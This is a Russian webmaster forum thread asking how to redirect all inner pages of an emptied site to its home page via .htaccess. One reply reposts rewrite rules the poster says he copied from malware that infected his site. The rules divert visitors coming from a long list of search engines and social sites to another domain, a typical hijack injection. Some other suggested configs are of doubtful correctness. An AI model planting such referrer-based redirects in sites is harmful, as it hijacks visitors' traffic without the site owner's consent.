Редирект в .htaccess

(Ответов: 6, Просмотров: 1669)
  1. Banochkin.com Аватар для Sk8er
    • Регистрация: 08.09.2009
    • Сообщений: 1,799
    • Записей в дневнике: 1
    • Репутация: 91
    • Webmoney BL: ?
    Собственно есть небольшой сайт. Теперь его нет, остался только домен с мордой (все внутренние страницы удалены). Но ещё часто бывают переходы как раз на внутренние страницы.

    Что прописать в .htaccess, чтобы при переходе на любую внутреннюю страницу шёл редирект на морду?
    Banochkin.com — веду блог, создаю и продвигаю сайты.
    Контакты.
    • 0
  2. Новичок
    • Регистрация: 12.06.2012
    • Сообщений: 14
    • Репутация: 0
    ErrorDocument 404 http://sitеname.ru

    или так...
    вот эту технологию я "украл" у вируса, который заразил мой сайт.

    # направим всех с поисковиков на нужный нам сайт, (site.ru) а кто заходит прямо на сайт - пусть тоже видит site.ru/index.html

    SetEnvIf REMOTE_ADDR [IP] REDIR="redir"
    RewriteCond %{REDIR} redir
    RewriteRule ^/$ [http://site.ru/]

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
    RewriteRule ^(.*)$ http://site.ru/ [R=permanent,L]
    RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang e|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|te lfort|hispavista|passagen|spray|eniro|telia|bluewi n|sympatico|nlsearch|atsearch|klammeraffe|shareloo k|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|d affodil|click4choice|exalead|findelio|gasta|gimpsy |globalsearchdirectory|hotfrog|jobrapido|kingdomse ek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan |qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|ex press|bestireland|browseireland|finditireland|iese arch|ireland-information|kompass|startsiden|confex|finnalle|gul esider|keyweb|finnfirma|kvasir|savio|sol|startside n|allpages|america|botw|chapu|claymont|clickz|clus h|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
    RewriteRule ^(.*)$ http://site.ru/ [R=permanent,L]
    </IfModule>
    Последний раз редактировалось valnick; 12.06.2012 в 03:22. Причина: добавил материал
    • 0
  3. Студент
    • Регистрация: 10.06.2012
    • Сообщений: 40
    • Репутация: 3
    Цитата Сообщение от Sk8er Посмотреть сообщение
    Что прописать в .htaccess, чтобы при переходе на любую внутреннюю страницу шёл редирект на морду?
    ErrorDocument 404 /index.html

    Будет работать только на те адреса, которых реально нет.. если какая-то внутренняя страница осталась, то она так и будет открываться.
    • 0
  4. Опытный Аватар для earnkz
    • Регистрация: 14.04.2011
    • Сообщений: 265
    • Репутация: 74
    • Webmoney BL: ?
    Собрав по кускам из разных источников, у меня получился такой код, учитывает адреса с www и без, а так же все внутренние и перенаправляет на новый домен, не знаю на сколько код оптимален, но работает:

    Код:
    RewriteEngine on
    RewriteCond %{HTTP_HOST} ^www.старый-домен.ru [NC]
    RewriteRule ^(.*)$ http://старый-домен.ru/$1 [L,R=301]
    RewriteCond %{HTTP_HOST} ^старый-домен\.ru
    RewriteCond %{QUERY_STRING} !=»"
    RewriteCond %{QUERY_STRING} !^q=.*
    RewriteRule ^(.*)$ http://новый-домен.ru/? [R=301,L]
    Удобный мониторинг позиций | Лучший VPS хостинг, с беспл. админ. | Биржа контента без комиссии
    • 0
  5. Banochkin.com Аватар для Sk8er
    • Регистрация: 08.09.2009
    • Сообщений: 1,799
    • Записей в дневнике: 1
    • Репутация: 91
    • Webmoney BL: ?
    Эм. Что? Ребят, собрали хрен пойми что...
    valnick, такое я побоюсь куда то ставить. Ты хоть сам понимаешь что там?
    IceHotTea, это не редирект. В таком случае если я введу сайт.ру/ололо.html, то страница откроется, но будет отображаться то, что на главной странице. А мне редирект со всех страниц нужен на главную.
    earnkz,тоже непонятно что у тебя. непонятный набор настроек.
    Banochkin.com — веду блог, создаю и продвигаю сайты.
    Контакты.
    • 0
  6. Banned за публикацию скрытых ссылок
    • Регистрация: 21.06.2012
    • Сообщений: 31
    • Репутация: 0
    И просто вроде, и сложно... :) Когда-то делали мне такое...

    Код HTML:
    Redirect 301 / http://sayt.ru/
    Может так?
    Последний раз редактировалось KosmoBoy; 21.06.2012 в 16:49.
    • 0
  7. Banned за публикацию скрытых ссылок
    • Регистрация: 21.06.2012
    • Сообщений: 31
    • Репутация: 0
    Извините, поздно подумал...

    Скорее так:
    Код HTML:
    Redirect 301 /* http://sayt.ru/
    Звёздочка после "/" означает, что любой адрес страницы кроме главной. Я так понимаю. Но на опыте надо проверить, конечно, чтоб не получилось "кругового" редиректа. В первом варианте, скорее всего, так и получится...
    Но исправить первый свой пост я уже не имею прав...
    • 0

Похожие темы

Темы Раздел Ответов Последний пост
Редирект с помошью .htaccess. Помогите.
Софт, скрипты, сервисы 5 13.12.2011 22:23
htaccess правильный 301 редирект
Web программирование 4 14.09.2011 08:00
.htaccess - редирект с главной на форум
Прочее 2 01.05.2011 15:45
редирект через /htaccess
Прочее 3 19.09.2009 22:30
.htaccess редирект
Прочее 9 11.09.2009 21:48

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры